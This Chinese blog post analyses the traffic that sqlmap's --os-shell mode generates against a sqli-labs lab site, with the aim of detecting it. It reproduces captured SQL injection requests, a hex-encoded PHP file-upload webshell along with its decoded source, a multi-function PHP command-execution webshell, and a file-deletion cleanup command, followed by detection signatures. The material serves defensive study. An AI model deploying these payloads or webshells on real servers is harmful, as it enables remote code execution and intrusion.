<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    入侵檢測之sqlmap惡意流量分析

    一顆小胡椒2021-08-23 17:05:30

    0x01 –os-shell攻擊流程

    1. 測試鏈接是否能夠訪問
    2. 判斷操作系統版本
    3. 傳遞一個數組,嘗試爆絕對路徑
    4. 指定上傳路徑
    5. 使用lines terminated by 寫入一個php文件,該php文件可以進行文件上傳
    6. 嘗試找到上傳的文件的訪問路徑;直到找到正確的路徑
    7. 通過上傳的臨時文件,嘗試上傳另外一個php文件, 該文件可以進行命令執行
    8. 嘗試進行命令執行 echo command execution test
    9. 直接輸入對應的命令即可
    10. 退出–os-shell后刪除命令馬

    0x02 抓包分析

    首先就是測試鏈接是否能夠訪問

    然后判斷操作系統

    GET /Less-1/?id=-8168%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x71786a7171%2C%28CASE%20WHEN%20%280x57%3DUPPER%28MID%28%40%40version_compile_os%2C1%2C1%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627671%29%2CNULL--%20- HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close
    

    這里把參數值解碼后,是這樣一段SQL語句

    -8168 UNION ALL SELECT NULL,CONCAT(0x71786a7171,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x7170627671),NULL-- -
    

    接著傳遞一個數組,嘗試爆絕對路徑,這都是老版本的辦法了,現在行不通,這個可以當作一個行為特征來標記一下

    GET /Less-1/?id[]=1 HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close
    

    等我們指定完上傳路徑后, sqlmap會使用lines terminated by 寫入一個php文件, 該php文件可以進行文件上傳, 它先傳一個小馬, 再傳一個命令執行馬, 其實是留了一手的, 避免命令馬直接被殺掉

    GET /Less-1/?id=-9439%20OR%201550%3D1550%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27E%3A%2FServer%2Fphpstudy_pro%2FWWW%2Fsqli-labs-master%2FLess-1%2Ftmpuobmp.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d453a5c5c5365727665725c5c70687073747564795f70726f5c5c5757575c5c73716c692d6c6162732d6d61737465725c5c4c6573732d315c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close
    

    解碼hex加密的內容, 是這樣的

    // 判斷是否有一個upload的值傳過來if (isset($_REQUEST["upload"])){    // 將uploadDir賦值給$dir, 也就是我們傳遞的絕對路徑    $dir = $_REQUEST["uploadDir"];    // 判斷php版本是否小于4.1.0    if (phpversion() < '4.1.0')    {        $file = $HTTP_POST_FILES["file"]["name"];        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;    }    else    {        // 取文件名賦值給$file        $file = $_FILES["file"]["name"];        // 完成上傳動作        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;    }    // 給權限    @chmod($dir . "/" . $file, 0755);    echo "File uploaded";}else{    echo ""PHP_SELF"] . " method=POST enctype=multipart/form-data>sqlmap file uploader
    to directory:  ";}
    

    然后嘗試找到上傳的文件的訪問路徑;直到找到正確的路徑,每次都會里面跳一級

    這一步就是上傳真正的命令馬

    分析一下這段代碼

    // 將傳遞的cmd的值賦值給$c$c = $_REQUEST["cmd"];// 設置超時時間@set_time_limit(0);// 設置客戶端斷開連接時是否中斷腳本的執行@ignore_user_abort(1);// 設置php.ini中max_execution_time的值為0@ini_set("max_execution_time", 0);// 獲取禁用函數$z = @ini_get("disable_functions");if (!empty($z)){    // 如果$z不為空, 那么就將$z中的, 替換為,  并且重組成一個數組, 且去掉兩端的空白字符    $z = preg_replace("/[, ]+/", ',', $z);    $z = explode(',', $z);    $z = array_map("trim", $z);}else{    $z = array();}// 將命令與 2>&1進行拼接$c = $c . " 2>&1";function f($n){    // 調用$z    global $z;    // 判斷參數$n是否不在數組$z中    return is_callable($n) and !in_array($n, $z);}/* 大致干了三件事 * 1.打開緩沖區 * 2.執行命令并將結果賦值給$w * 3.關閉緩沖區并*/if (f("system")){    ob_start();    system($c);    $w = ob_get_clean();}elseif (f("proc_open")){    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);    $w = NULL;    while (!feof($t[1]))    {        $w .= fread($t[1], 512);    }    @proc_close($y);}elseif (f("shell_exec")){    $w = shell_exec($c);}elseif (f("passthru")){    ob_start();    passthru($c);    $w = ob_get_clean();}elseif (f("popen")){    $x = popen($c, r);    $w = NULL;    if (is_resource($x))    {        while (!feof($x))        {            $w .= fread($x, 512);        }    }    @pclose($x);}elseif (f("exec")){    $w = array();    exec($c, $w);    $w = join(chr(10), $w) . chr(10);}else{    $w = 0;}// 輸出命令echo "
    $w
    ";?>
    

    然后, 嘗試進行命令執行 echo command execution test

    最后, 攻擊者退出–os-shell后, sqlmap會進行一個簡單的清理痕跡的操作, 刪掉執行命令的文件

    GET /Less-1/tmpbqsur.php?cmd=del%20%2FF%20%2FQ%20E%3A%5CServer%5Cphpstudy_pro%5CWWW%5Csqli-labs-master%5CLess-1%5Ctmpuajwx.php HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
    

    解碼

    GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close
    

    0x03 流量特征分析

    一、靜態分析

    首先最最最特征的肯定就是User-Agent了, 這里如果沒有做偽裝, 基本上就是sqlmap的流量, 直接攔截掉就好了

    接著就是代碼的靜態特征, sqlmap首先上傳的上傳馬, 會有一個相當明顯的特征

        echo "    <form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data>      <input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploaderb><br>       <input name=file type=file><br>to directory:       <input type=text name=uploadDir value=E:\\Server\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\>      <input type=submit name=upload value=upload>    form>";
    

    這是一段上傳的from表單, 特征非常明顯, 基本上文件內容存在這一段代碼, 就可以認定為是sqlmap上傳的后門, 直接殺掉就好了

    接著看一下命令執行的小馬, 這個特征更加明顯, 同一個文件中, 竟然出現了所有的命令執行函數, 不說出現所有的, 正常文件出現一個都不應該, 直接殺掉

    if (f("system")){    ob_start();    system($c);    $w = ob_get_clean();}elseif (f("proc_open")){    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);    $w = NULL;    while (!feof($t[1]))    {        $w .= fread($t[1], 512);    }    @proc_close($y);}elseif (f("shell_exec")){    $w = shell_exec($c);}elseif (f("passthru")){    ob_start();    passthru($c);    $w = ob_get_clean();}elseif (f("popen")){    $x = popen($c, r);    $w = NULL;    if (is_resource($x))    {        while (!feof($x)) {            $w .= fread($x, 512);        }    }    @pclose($x);}elseif (f("exec")){    $w = array();    exec($c, $w);    $w = join(chr(10), $w) . chr(10);}
    

    二、動態分析

    首先可以對數據庫的行為做限制, 因為–os-shell主要還是在于執行into outfile()函數, 而執行這個函數有三個必要條件:

    1. 當前數據庫用戶為root權限
    2. 數據庫中source_file_priv 的值不能為null
    3. 可以使用單雙引號

    這三點缺一不可, 如果不幸的被寫入了shell, 那么可以先參照靜態分析去過濾一下, 其次就是對于行為的過濾, 當sqlmap成功寫入命令馬的時候, 會執行一條測試語句

    GET /Less-2/tmpbvnbm.php?cmd=echo%20command%20execution%20test HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
    

    如果攻擊者沒有進行過流量分析, 是很難發現這個小細節的, 所以當任何剛生成的文件執行echo command execution test時, 就可以認定這是sqlmap的命令馬, 殺之即可

    再就是sqlmap會判斷當前的操作系統, 而判斷操作系統就會使用 @@version_compile_os

    這個函數, 所以當流量中包含這個函數的請求, 那就是sqlmao發出的請求, 直接攔截掉就好了

    最后就是刪除文件的操作了, 一般被刪除的命令馬跟上傳馬在同級目錄下, 且文件名默認都以tmpxxx.php命名, 溯源起來還是比較方便的,

    GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
    

    外加一個傳數組爆絕對路徑的操作, 數組的值默認為1

    0x04 sqlmap特征總結

    靜態特征

      - user-agent特征  - from表單特征  - 命令執行函數特征
    

    動態特征

      - 數組報錯特征  - @@version_compile_os特征  - 測試命令執行語句特征  - 調用系統命令特征
    
    sqlmap
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    sqlmap腳本tamper使用
    2022-06-25 07:07:48
    所以有的時候我們會發現,注入成功了但是dump不出數據,很可能是select被過濾了等等原因。如何判斷使用哪個腳本最簡單的辦法就是在url參數中手工帶入關鍵詞,判斷是否被過濾。空格、等于號都沒有過濾,成功報錯。以此類推,當sqlmap注入出現問題時,比如不出數據,就要檢查對應的關鍵詞是否被過濾。
    前言21年省決賽的SQLITE注入就是用的雙寫繞過,當時是手搓代碼打的,這幾天想起來了,尋思著寫個tamper試試。一開始以為很簡單,后來才發現有很多要注意的點,折磨了挺久。等弄完才明白為什么sqlmap沒有自帶雙寫的tamper,涉及的情況太多,需要根據具體過濾邏輯來寫代碼,沒法做到統一。好,然后就是腳本的完整代碼#!
    之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmap的shell免殺,覺得思路其實差不多,就寫一篇sqlmap的反制吧。
    sqlmap --os-shell原理
    2021-09-24 07:04:41
    前言當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。
    一些重要的SQLMap命令
    2023-05-04 08:55:08
    從掃描SQL注入漏洞到獲取數據庫名字、表和列,以及獲得系統訪問權限,其可被用于多種目的。我們必須給SQLMap提供有效的cookie才能對登錄頁面的POST請求進行掃描。不過別總是保持一個較高的值,因為可能會影響結果的準確性。默認情況下值為1,最高可以設置為3。值為3時,就是最大值,包含了一些嚴重的SQL查詢。級別指定要執行的檢查或payload的數量。
    Par0:楔子你站在橋上看風景,看風景的人在樓上看你,明月裝飾了你的窗子,你裝飾了別人的夢。如此形式的語句執行,實際上都是在shell中,執行bash命令。但是,bash命令中,一些使用幾率較小的特性,很多安全測試人員可能都不求甚解。
    記一次SQLmap實戰
    2021-09-28 07:41:13
    簡介:sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現并利用給定的URL的SQL注入漏洞,目
    干貨 | sqlmap 小技巧
    2023-03-03 15:38:04
    前言在日常使用 sqlmap 中,可能我們會遇到明明手工注入能發現注入點,但是 sqlmap 發兩個包就不再往下跑了,這是怎么回事呢?案例這是一個注入點,但是 sqlmap 只發了兩個包根據上面的提示,sqlmap 應該是因為響應包狀態碼為?狀態碼正常訪問的響應:數據格式異常:這個時候最簡單的辦法,當然是通過 burp 把響應包改掉了,我們只要在 burp 新建一條自動匹配修改規則即可,讓 burp 自動把?
    為了安全起見,目標網站統一使用redacted.org進行了替代。
    測試鏈接是否能夠訪問 判斷操作系統版本 傳遞一個數組,嘗試爆絕對路徑 指定上傳路徑
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类